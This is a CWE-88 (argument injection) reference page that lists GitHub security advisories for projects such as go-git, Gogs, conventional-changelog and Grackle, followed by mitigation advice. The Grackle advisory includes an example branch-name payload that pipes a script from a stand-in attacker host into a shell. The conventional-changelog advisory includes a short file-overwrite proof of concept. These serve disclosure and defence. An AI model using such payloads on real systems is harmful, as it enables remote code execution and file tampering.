CWE-88
AllowedImproper Neutralization of Argument Delimiters in a Command ('Argument Injection')
Abstraction: Base · Status: Draft
The product constructs a string for a command to be executed by a separate component in another control sphere, but it does not properly delimit the intended arguments, options, or switches within that command string.
550 vulnerabilities reference this CWE, most recent first.
GHSA-V5RR-334G-RQM6
Vulnerability from github – Published: 2022-05-24 17:42 – Updated: 2022-07-13 00:01Endian Firewall Community (aka EFW) 3.3.2 allows remote authenticated users to execute arbitrary OS commands via shell metacharacters in a backup comment.
{
"affected": [],
"aliases": [
"CVE-2021-27201"
],
"database_specific": {
"cwe_ids": [
"CWE-88"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2021-02-15T19:15:00Z",
"severity": "HIGH"
},
"details": "Endian Firewall Community (aka EFW) 3.3.2 allows remote authenticated users to execute arbitrary OS commands via shell metacharacters in a backup comment.",
"id": "GHSA-v5rr-334g-rqm6",
"modified": "2022-07-13T00:01:12Z",
"published": "2022-05-24T17:42:16Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2021-27201"
},
{
"type": "WEB",
"url": "https://github.com/MucahitSaratar/endian_firewall_authenticated_rce"
},
{
"type": "WEB",
"url": "https://sourceforge.net/projects/efw/files/Development/EFW-3.3.2"
},
{
"type": "WEB",
"url": "https://www.endian.com/company/news/endian-community-releases-new-version-332-148"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-V725-9546-7Q7M
Vulnerability from github – Published: 2025-01-06 16:16 – Updated: 2025-01-06 18:43Impact
An argument injection vulnerability was discovered in go-git versions prior to v5.13.
Successful exploitation of this vulnerability could allow an attacker to set arbitrary values to git-upload-pack flags. This only happens when the file transport protocol is being used, as that is the only protocol that shells out to git binaries.
Affected versions
Users running versions of go-git from v4 and above are recommended to upgrade to v5.13 in order to mitigate this vulnerability.
Workarounds
In cases where a bump to the latest version of go-git is not possible, we recommend users to enforce restrict validation rules for values passed in the URL field.
Credit
Thanks to @vin01 for responsibly disclosing this vulnerability to us.
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "gopkg.in/src-d/go-git.v4"
},
"ranges": [
{
"events": [
{
"introduced": "4.0.0"
},
{
"last_affected": "4.13.1"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Go",
"name": "github.com/go-git/go-git/v5"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "5.13.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2025-21613"
],
"database_specific": {
"cwe_ids": [
"CWE-88"
],
"github_reviewed": true,
"github_reviewed_at": "2025-01-06T16:16:30Z",
"nvd_published_at": "2025-01-06T17:15:47Z",
"severity": "CRITICAL"
},
"details": "### Impact\nAn argument injection vulnerability was discovered in `go-git` versions prior to `v5.13`. \n\nSuccessful exploitation of this vulnerability could allow an attacker to set arbitrary values to [git-upload-pack flags](https://git-scm.com/docs/git-upload-pack). This only happens when the `file` transport protocol is being used, as that is the only protocol that shells out to `git` binaries.\n\n### Affected versions\nUsers running versions of `go-git` from `v4` and above are recommended to upgrade to `v5.13` in order to mitigate this vulnerability.\n\n### Workarounds\nIn cases where a bump to the latest version of `go-git` is not possible, we recommend users to enforce restrict validation rules for values passed in the URL field.\n\n## Credit\nThanks to @vin01 for responsibly disclosing this vulnerability to us.",
"id": "GHSA-v725-9546-7q7m",
"modified": "2025-01-06T18:43:12Z",
"published": "2025-01-06T16:16:30Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/go-git/go-git/security/advisories/GHSA-v725-9546-7q7m"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-21613"
},
{
"type": "PACKAGE",
"url": "https://github.com/go-git/go-git"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:Clear",
"type": "CVSS_V4"
}
],
"summary": "go-git has an Argument Injection via the URL field"
}
GHSA-V86W-4536-X642
Vulnerability from github – Published: 2022-05-10 00:00 – Updated: 2022-05-19 00:00An argument injection vulnerability in the browser-based authentication component of the Magnitude Simba Amazon Athena JDBC Driver 2.0.25 through 2.0.28 may allow a local user to execute code. NOTE: this is different from CVE-2022-29971.
{
"affected": [],
"aliases": [
"CVE-2022-30239"
],
"database_specific": {
"cwe_ids": [
"CWE-88"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2022-05-09T18:15:00Z",
"severity": "HIGH"
},
"details": "An argument injection vulnerability in the browser-based authentication component of the Magnitude Simba Amazon Athena JDBC Driver 2.0.25 through 2.0.28 may allow a local user to execute code. NOTE: this is different from CVE-2022-29971.",
"id": "GHSA-v86w-4536-x642",
"modified": "2022-05-19T00:00:33Z",
"published": "2022-05-10T00:00:16Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-30239"
},
{
"type": "WEB",
"url": "https://insightsoftware.com/trust/security/advisories/redshift-and-athena-driver-vulnerability"
},
{
"type": "WEB",
"url": "https://www.magnitude.com/products/data-connectivity"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-V9VM-R24H-6RQM
Vulnerability from github – Published: 2026-03-05 19:29 – Updated: 2026-03-05 22:28Summary
There is a security issue in Gogs where deleting a release can fail if a user-controlled tag name is passed to Git without the right separator, allowing Git option injection and therefore interfering with the process.
Affected Component
- internal/database/release.go
process.ExecDir(..., "git", "tag", "-d", rel.TagName)
Details
rel.TagName is used as a CLI argument to git tag -d without -- or --end-of-options.
If the tag name begins with -, Git parses it as a flag.
The prior mitigation is incomplete. There is path sanitization in place during creation:
- internal/database/release.go
r.TagName = strings.TrimLeft(r.TagName, "-")
But it only covers one creation path and does not reliably protect tag deletions, such as tags added through git push or ref updates.
Exploit Conditions 1. An attacker can add a tag name that starts with a dash into the repository. 2. A user with permission to delete releases triggers it through the web UI or API.
Recommended Fix
- Add end-of-options in release deletion:
git tag -d -- <tagName>
- It is better to use the safe git-module deletion helper since it handles options properly.
- All Git commands should be audited for user input, ensuring that the end-of-options separator is always used.
Impact
- Option injection into
git tag -d - Tag/release deletion can fail or behave unexpectedly
- Operational denial of service in release cleanup workflows
- Potential release metadata inconsistency
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 0.14.1"
},
"package": {
"ecosystem": "Go",
"name": "gogs.io/gogs"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.14.2"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-26194"
],
"database_specific": {
"cwe_ids": [
"CWE-88"
],
"github_reviewed": true,
"github_reviewed_at": "2026-03-05T19:29:44Z",
"nvd_published_at": "2026-03-05T19:16:03Z",
"severity": "HIGH"
},
"details": "### Summary\n\nThere is a security issue in Gogs where deleting a release can fail if a user-controlled tag name is passed to Git without the right separator, allowing Git option injection and therefore interfering with the process.\n\n### Affected Component\n\n - internal/database/release.go\n `process.ExecDir(..., \"git\", \"tag\", \"-d\", rel.TagName)`\n\n### Details\n\n `rel.TagName` is used as a CLI argument to `git tag -d` without `--` or `--end-of-options`.\n If the tag name begins with `-`, Git parses it as a flag.\n\n The prior mitigation is incomplete. There is path sanitization in place during creation:\n\n - internal/database/release.go\n `r.TagName = strings.TrimLeft(r.TagName, \"-\")`\n\n But it only covers one creation path and does not reliably protect tag deletions, such as tags added through `git push` or ref updates.\n\n**Exploit Conditions**\n1. An attacker can add a tag name that starts with a dash into the repository.\n2. A user with permission to delete releases triggers it through the web UI or API.\n\n### Recommended Fix\n\n1. Add end-of-options in release deletion:\n - `git tag -d -- \u003ctagName\u003e`\n2. It is better to use the safe git-module deletion helper since it handles options properly.\n3. All Git commands should be audited for user input, ensuring that the end-of-options separator is always used.\n\n### Impact\n - Option injection into `git tag -d`\n - Tag/release deletion can fail or behave unexpectedly\n - Operational denial of service in release cleanup workflows\n - Potential release metadata inconsistency",
"id": "GHSA-v9vm-r24h-6rqm",
"modified": "2026-03-05T22:28:40Z",
"published": "2026-03-05T19:29:44Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/gogs/gogs/security/advisories/GHSA-v9vm-r24h-6rqm"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-26194"
},
{
"type": "WEB",
"url": "https://github.com/gogs/gogs/pull/8175"
},
{
"type": "WEB",
"url": "https://github.com/gogs/gogs/commit/a000f0c7a632ada40e6829abdeea525db4c0fc2d"
},
{
"type": "PACKAGE",
"url": "https://github.com/gogs/gogs"
},
{
"type": "WEB",
"url": "https://github.com/gogs/gogs/releases/tag/v0.14.2"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:N/VA:H/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "Gogs: Release tag option injection in release deletion"
}
GHSA-VGVH-2M5V-GR33
Vulnerability from github – Published: 2022-05-24 19:15 – Updated: 2022-05-24 19:15In the Amazon AWS WorkSpaces client before 3.1.9 on Windows, argument injection in the workspaces:// URI handler can lead to remote code execution because of the Chromium Embedded Framework (CEF) --gpu-launcher argument.
{
"affected": [],
"aliases": [
"CVE-2021-38112"
],
"database_specific": {
"cwe_ids": [
"CWE-88"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2021-09-22T02:15:00Z",
"severity": "HIGH"
},
"details": "In the Amazon AWS WorkSpaces client before 3.1.9 on Windows, argument injection in the workspaces:// URI handler can lead to remote code execution because of the Chromium Embedded Framework (CEF) --gpu-launcher argument.",
"id": "GHSA-vgvh-2m5v-gr33",
"modified": "2022-05-24T19:15:27Z",
"published": "2022-05-24T19:15:27Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2021-38112"
},
{
"type": "WEB",
"url": "https://docs.aws.amazon.com/workspaces/latest/userguide/amazon-workspaces-windows-client.html#windows-release-notes"
},
{
"type": "WEB",
"url": "https://rhinosecuritylabs.com/aws/cve-2021-38112-aws-workspaces-rce"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-VGX4-PWQ6-64P2
Vulnerability from github – Published: 2025-12-04 21:31 – Updated: 2025-12-04 21:31Easywall 0.3.1 allows authenticated remote command execution via a command injection vulnerability in the /ports-save endpoint that suffers from a parameter injection flaw. Attackers can inject shell metacharacters to execute arbitrary commands on the server.
{
"affected": [],
"aliases": [
"CVE-2024-58275"
],
"database_specific": {
"cwe_ids": [
"CWE-88"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-12-04T21:16:07Z",
"severity": "HIGH"
},
"details": "Easywall 0.3.1 allows authenticated remote command execution via a command injection vulnerability in the /ports-save endpoint that suffers from a parameter injection flaw. Attackers can inject shell metacharacters to execute arbitrary commands on the server.",
"id": "GHSA-vgx4-pwq6-64p2",
"modified": "2025-12-04T21:31:06Z",
"published": "2025-12-04T21:31:06Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-58275"
},
{
"type": "WEB",
"url": "https://github.com/jpylypiw/easywall"
},
{
"type": "WEB",
"url": "https://jpylypiw.github.io/easywall"
},
{
"type": "WEB",
"url": "https://www.exploit-db.com/exploits/51856"
},
{
"type": "WEB",
"url": "https://www.vulncheck.com/advisories/easywall-031-authentication-bypass-via-command-injection-in-ports-save-endpoint"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-VH25-5764-9WCR
Vulnerability from github – Published: 2025-09-22 18:01 – Updated: 2025-09-22 21:59Background on exploitation
This vulnerability manifests with the library's getTags() API,
which allows specifying extra parameters passed to the git log command. In another API by this library - getRawCommits() there are secure practices taken to ensure that the extra parameter path is unable to inject an argument by ending the git log command with the special shell syntax --.
However, the library does not follow the same practice for getTags() not attempts to sanitize for user input, validate the given params, or restrcit them to an allow list. Nor does it properly pass command-line flags to the git binary using the double-dash POSIX characters (--) to communicate the end of options.
Thus, allowing users to exploit an argument injection vulnerability in Git due to the
--output= command-line option that results with overwriting arbitrary files.
Exploit
- Install
@conventional-changelog/git-client@1.0.1or earlier - Prepare a Git directory to be used as source
- Create the following script for the proof-of-concept:
import {
GitClient,
} from "@conventional-changelog/git-client";
async function main() {
const gitDirectory = "/tmp/some-git-directory";
const client = new GitClient(gitDirectory);
const params = ["--output=/tmp/r2d2"];
for await (const tag of client.getTags(params)) {
console.log(tag);
}
}
main();
- Observe new file created on disk at
/tmp/r2d2
Impact
While the scope is only limited to writing a file with input from the git log result, it still allows to specify and overwrite any arbitrary files on disk, such as .env or as far as critical system configuration at /etc if the application is running as privileged root user.
It may be the library's design choice to expose a generic params object to allow any consuming users to specify random Git command line arguments, however it could be abused by attackers when developers aren't aware of the security risks which aren't communicated. As such, I recommend not ignoring, and either patching this insecure design gap with hardened secure coding practices (like in other APIs mentioned previously) or adding a security disclaimer to this library's documentation.
Author / Credit
Liran Tal
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "@conventional-changelog/git-client"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2.0.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2025-59433"
],
"database_specific": {
"cwe_ids": [
"CWE-88"
],
"github_reviewed": true,
"github_reviewed_at": "2025-09-22T18:01:01Z",
"nvd_published_at": "2025-09-22T20:15:38Z",
"severity": "MODERATE"
},
"details": "## Background on exploitation\n\nThis vulnerability manifests with the library\u0027s `getTags()` API,\nwhich allows specifying extra parameters passed to the `git log` command. In another API by this library - `getRawCommits()` there are secure practices taken to ensure that the extra parameter `path` is unable to inject an argument by ending the `git log` command with the special shell syntax `--`.\nHowever, the library does not follow the same practice for `getTags()` not attempts to sanitize for user input, validate the given params, or restrcit them to an allow list. Nor does it properly pass command-line flags to the `git` binary using the double-dash POSIX characters (`--`) to communicate the end of options.\n\nThus, allowing users to exploit an argument injection vulnerability in Git due to the\n`--output=` command-line option that results with overwriting arbitrary files.\n\n## Exploit\n\n1. Install `@conventional-changelog/git-client@1.0.1` or earlier\n2. Prepare a Git directory to be used as source\n3. Create the following script for the proof-of-concept:\n\n```js\nimport {\n GitClient,\n} from \"@conventional-changelog/git-client\";\n\nasync function main() {\n const gitDirectory = \"/tmp/some-git-directory\";\n const client = new GitClient(gitDirectory);\n\n const params = [\"--output=/tmp/r2d2\"];\n for await (const tag of client.getTags(params)) {\n console.log(tag);\n }\n}\n\nmain();\n```\n\n3. Observe new file created on disk at `/tmp/r2d2`\n\n## Impact\n\nWhile the scope is only limited to writing a file with input from the git log result, it still allows to specify and overwrite any arbitrary files on disk, such as `.env` or as far as critical system configuration at `/etc` if the application is running as privileged `root` user.\n\nIt may be the library\u0027s design choice to expose a generic `params` object to allow any consuming users to specify random Git command line arguments, however it could be abused by attackers when developers aren\u0027t aware of the security risks which aren\u0027t communicated. As such, I recommend not ignoring, and either patching this insecure design gap with hardened secure coding practices (like in other APIs mentioned previously) or adding a security disclaimer to this library\u0027s documentation.\n\n# Author / Credit\n\nLiran Tal",
"id": "GHSA-vh25-5764-9wcr",
"modified": "2025-09-22T21:59:10Z",
"published": "2025-09-22T18:01:01Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/conventional-changelog/conventional-changelog/security/advisories/GHSA-vh25-5764-9wcr"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-59433"
},
{
"type": "WEB",
"url": "https://github.com/conventional-changelog/conventional-changelog/commit/d95c9ffac05af58228bd89fa0ba37ad65741c6a2"
},
{
"type": "PACKAGE",
"url": "https://github.com/conventional-changelog/conventional-changelog"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:H/UI:R/S:U/C:L/I:L/A:H",
"type": "CVSS_V3"
}
],
"summary": "@conventional-changelog/git-client has Argument Injection vulnerability"
}
GHSA-VM62-9JW3-C8W3
Vulnerability from github – Published: 2024-12-23 20:38 – Updated: 2024-12-23 20:38Impact
When the built-in SSH server is enabled ([server] START_SSH_SERVER = true), unprivileged user accounts with at least one SSH key can execute arbitrary commands on the Gogs instance with the privileges of the user specified by RUN_USER in the configuration. It allows attackers to access and alter any users' code hosted on the same instance.
Patches
The env command sent to the internal SSH server has been changed to be a passthrough (https://github.com/gogs/gogs/pull/7868), i.e. the feature is effectively removed. Users should upgrade to 0.13.1 or the latest 0.14.0+dev.
Workarounds
Disable the use of built-in SSH server on operating systems other than Windows.
References
https://www.cve.org/CVERecord?id=CVE-2024-39930
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 0.13.0"
},
"package": {
"ecosystem": "Go",
"name": "gogs.io/gogs"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.13.1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2024-39930"
],
"database_specific": {
"cwe_ids": [
"CWE-88"
],
"github_reviewed": true,
"github_reviewed_at": "2024-12-23T20:38:34Z",
"nvd_published_at": null,
"severity": "CRITICAL"
},
"details": "### Impact\n\nWhen the built-in SSH server is enabled (`[server] START_SSH_SERVER = true`), unprivileged user accounts with at least one SSH key can execute arbitrary commands on the Gogs instance with the privileges of the user specified by `RUN_USER` in the configuration. It allows attackers to access and alter any users\u0027 code hosted on the same instance.\n\n### Patches\n\nThe `env` command sent to the internal SSH server has been changed to be a passthrough (https://github.com/gogs/gogs/pull/7868), i.e. the feature is effectively removed. Users should upgrade to 0.13.1 or the latest 0.14.0+dev.\n\n### Workarounds\n\n[Disable the use of built-in SSH server](https://github.com/gogs/gogs/blob/7adac94f1e93cc5c3545ea31688662dcef9cd737/conf/app.ini#L76-L77) on operating systems other than Windows.\n\n### References\n\nhttps://www.cve.org/CVERecord?id=CVE-2024-39930\n",
"id": "GHSA-vm62-9jw3-c8w3",
"modified": "2024-12-23T20:38:34Z",
"published": "2024-12-23T20:38:34Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/gogs/gogs/security/advisories/GHSA-vm62-9jw3-c8w3"
},
{
"type": "PACKAGE",
"url": "https://github.com/gogs/gogs"
},
{
"type": "WEB",
"url": "https://www.sonarsource.com/blog/securing-developer-tools-unpatched-code-vulnerabilities-in-gogs-1"
},
{
"type": "WEB",
"url": "https://www.vicarius.io/vsociety/posts/argument-injection-in-gogs-ssh-server-cve-2024-39930"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AC:L/AV:N/A:H/C:H/I:H/PR:L/S:C/UI:N",
"type": "CVSS_V3"
}
],
"summary": "Gogs has an argument Injection in the built-in SSH server"
}
GHSA-VPVW-RGV5-VH74
Vulnerability from github – Published: 2026-01-24 03:30 – Updated: 2026-01-26 21:30Improper Neutralization of Argument Delimiters in a Command ('Argument Injection') vulnerability in Salesforce Marketing Cloud Engagement (MicrositeUrl module) allows Web Services Protocol Manipulation. This issue affects Marketing Cloud Engagement: before January 21st, 2026.
{
"affected": [],
"aliases": [
"CVE-2026-22582"
],
"database_specific": {
"cwe_ids": [
"CWE-88"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-01-24T01:15:49Z",
"severity": "CRITICAL"
},
"details": "Improper Neutralization of Argument Delimiters in a Command (\u0027Argument Injection\u0027) vulnerability in Salesforce Marketing Cloud Engagement (MicrositeUrl module) allows Web Services Protocol Manipulation. This issue affects Marketing Cloud Engagement: before January 21st, 2026.",
"id": "GHSA-vpvw-rgv5-vh74",
"modified": "2026-01-26T21:30:36Z",
"published": "2026-01-24T03:30:53Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-22582"
},
{
"type": "WEB",
"url": "https://help.salesforce.com/s/articleView?id=005299346\u0026type=1"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-VV65-F55V-XM6G
Vulnerability from github – Published: 2026-07-02 19:16 – Updated: 2026-07-02 19:16Summary
The default git executor used for all worktree operations spawns git through a shell, and the untrusted task branch name flows into the command unsanitized. A caller able to reach the PowerLine SpawnSession RPC (a malicious or compromised agent acting through the orchestration layer, or any client able to spawn a task) can achieve arbitrary command execution as the PowerLine user on every provisioned environment (SSH host, Docker container, or Codespace), escaping the agent sandbox.
This advisory bundles two related defects in worktree.ts (audit findings F1 and F13).
Affected versions
@grackle-ai/runtime-sdk (and reachable via @grackle-ai/powerline) at version 0.132.1 and earlier. All publishable packages are lockstep-versioned.
F1 — Command injection via shell:true (primary, High)
Location: packages/runtime-sdk/src/worktree.ts:22-28 (sink), :135-143 (branch → args). Source: packages/powerline/src/grpc-server.ts:112 (req.branch), packages/runtime-sdk/src/base-session.ts:60,137.
NODE_GIT_EXECUTOR.exec runs:
const shell = process.env.SHELL || true; // worktree.ts:24 — always truthy
const result = await execRaw("git", args, { ...options, shell });
When shell is truthy, Node does not pass args as a safe argv vector — it concatenates git + args into a single string run through sh -c with no escaping. The untrusted branch flows unvalidated from the SpawnSession gRPC request into:
["worktree", "add", "-b", branch, wtPath, startPoint] // worktree.ts:135-137
["worktree", "add", wtPath, branch] // fallback :143
sanitizeBranch() (worktree.ts:50) is applied only to compute the on-disk worktree directory path — not to the -b <branch> argument — so it provides zero protection at the injection sink.
Exploit: set a task branch to x;curl http://attacker/x.sh|sh;# or $(touch /tmp/pwned). ensureWorktree runs it under sh -c, yielding RCE as the PowerLine user. (Empirically confirmed during the audit: an args-array branch value evilbranch;touch /tmp/PWNED created the file.)
The sibling git path in runtime-utils.ts:48-56 already uses execFileAsync("git", [...]) with no shell, confirming shell:true is unnecessary here.
F13 — Argument injection: missing -- separator (residual, Low)
Location: packages/runtime-sdk/src/worktree.ts:135-143.
Independent of the shell issue, branch is placed as a positional argument with no -- terminator. The sibling checkoutBranch (runtime-utils.ts:51) correctly uses ["checkout", "--", branch]. Only the fallback invocation (bare trailing positional) is genuinely flag-injectable; git worktree add exposes no dangerous flags reachable this way, so standalone impact is limited — but it should be hardened alongside F1.
Remediation
- Remove
shellfromNODE_GIT_EXECUTOR—execFile('git', args)with the argv array is already safe and is the pattern used inruntime-utils.ts. This is the primary fix. - Add a
--separator before positional refs/paths in bothworktree addinvocations. - Defense in depth: validate
branchat the gRPC boundary (grpc-server.ts) against git ref rules — reject names beginning with-, containing.., or containing shell metacharacters — before it reachesensureWorktree.
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "@grackle-ai/runtime-sdk"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"last_affected": "0.132.1"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "npm",
"name": "@grackle-ai/powerline"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"last_affected": "0.132.1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [],
"database_specific": {
"cwe_ids": [
"CWE-78",
"CWE-88"
],
"github_reviewed": true,
"github_reviewed_at": "2026-07-02T19:16:57Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "## Summary\n\nThe default git executor used for all worktree operations spawns `git` through a shell, and the untrusted task **branch** name flows into the command unsanitized. A caller able to reach the PowerLine `SpawnSession` RPC (a malicious or compromised agent acting through the orchestration layer, or any client able to spawn a task) can achieve **arbitrary command execution** as the PowerLine user on every provisioned environment (SSH host, Docker container, or Codespace), escaping the agent sandbox.\n\nThis advisory bundles two related defects in `worktree.ts` (audit findings **F1** and **F13**).\n\n## Affected versions\n\n`@grackle-ai/runtime-sdk` (and reachable via `@grackle-ai/powerline`) at version **0.132.1** and earlier. All publishable packages are lockstep-versioned.\n\n## F1 \u2014 Command injection via `shell:true` (primary, High)\n\n**Location:** `packages/runtime-sdk/src/worktree.ts:22-28` (sink), `:135-143` (branch \u2192 args). Source: `packages/powerline/src/grpc-server.ts:112` (`req.branch`), `packages/runtime-sdk/src/base-session.ts:60,137`.\n\n`NODE_GIT_EXECUTOR.exec` runs:\n\n```ts\nconst shell = process.env.SHELL || true; // worktree.ts:24 \u2014 always truthy\nconst result = await execRaw(\"git\", args, { ...options, shell });\n```\n\nWhen `shell` is truthy, Node does **not** pass `args` as a safe argv vector \u2014 it concatenates `git` + args into a single string run through `sh -c` with **no escaping**. The untrusted `branch` flows unvalidated from the `SpawnSession` gRPC request into:\n\n```ts\n[\"worktree\", \"add\", \"-b\", branch, wtPath, startPoint] // worktree.ts:135-137\n[\"worktree\", \"add\", wtPath, branch] // fallback :143\n```\n\n`sanitizeBranch()` (`worktree.ts:50`) is applied **only** to compute the on-disk worktree directory path \u2014 *not* to the `-b \u003cbranch\u003e` argument \u2014 so it provides zero protection at the injection sink.\n\n**Exploit:** set a task branch to `x;curl http://attacker/x.sh|sh;#` or `$(touch /tmp/pwned)`. `ensureWorktree` runs it under `sh -c`, yielding RCE as the PowerLine user. (Empirically confirmed during the audit: an args-array branch value `evilbranch;touch /tmp/PWNED` created the file.)\n\nThe sibling git path in `runtime-utils.ts:48-56` already uses `execFileAsync(\"git\", [...])` with **no** shell, confirming `shell:true` is unnecessary here.\n\n## F13 \u2014 Argument injection: missing `--` separator (residual, Low)\n\n**Location:** `packages/runtime-sdk/src/worktree.ts:135-143`.\n\nIndependent of the shell issue, `branch` is placed as a positional argument with no `--` terminator. The sibling `checkoutBranch` (`runtime-utils.ts:51`) correctly uses `[\"checkout\", \"--\", branch]`. Only the fallback invocation (bare trailing positional) is genuinely flag-injectable; `git worktree add` exposes no dangerous flags reachable this way, so standalone impact is limited \u2014 but it should be hardened alongside F1.\n\n## Remediation\n\n1. **Remove `shell` from `NODE_GIT_EXECUTOR`** \u2014 `execFile(\u0027git\u0027, args)` with the argv array is already safe and is the pattern used in `runtime-utils.ts`. This is the primary fix.\n2. Add a `--` separator before positional refs/paths in both `worktree add` invocations.\n3. **Defense in depth:** validate `branch` at the gRPC boundary (`grpc-server.ts`) against git ref rules \u2014 reject names beginning with `-`, containing `..`, or containing shell metacharacters \u2014 before it reaches `ensureWorktree`.",
"id": "GHSA-vv65-f55v-xm6g",
"modified": "2026-07-02T19:16:57Z",
"published": "2026-07-02T19:16:57Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/nick-pape/grackle/security/advisories/GHSA-vv65-f55v-xm6g"
},
{
"type": "PACKAGE",
"url": "https://github.com/nick-pape/grackle"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "Grackle has command/argument injection in the git worktree executor that enables RCE on provisioned hosts via an unsanitized task branch name (shell:true)"
}
Mitigation
Strategy: Parameterization
Where possible, avoid building a single string that contains the command and its arguments. Some languages or frameworks have functions that support specifying independent arguments, e.g. as an array, which is used to automatically perform the appropriate quoting or escaping while building the command. For example, in PHP, escapeshellarg() can be used to escape a single argument to system(), or exec() can be called with an array of arguments. In C, code can often be refactored from using system() - which accepts a single string - to using exec(), which requires separate function arguments for each parameter.
Mitigation
Strategy: Input Validation
Understand all the potential areas where untrusted inputs can enter your product: parameters or arguments, cookies, anything read from the network, environment variables, request headers as well as content, URL components, e-mail, files, databases, and any external systems that provide data to the application. Perform input validation at well-defined interfaces.
Mitigation MIT-5
Strategy: Input Validation
- Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.
- When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."
- Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.
Mitigation
Directly convert your input type into the expected data type, such as using a conversion function that translates a string into a number. After converting to the expected data type, ensure that the input's values fall within the expected range of allowable values and that multi-field consistencies are maintained.
Mitigation
- Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180, CWE-181). Make sure that your application does not inadvertently decode the same input twice (CWE-174). Such errors could be used to bypass allowlist schemes by introducing dangerous inputs after they have been checked. Use libraries such as the OWASP ESAPI Canonicalization control.
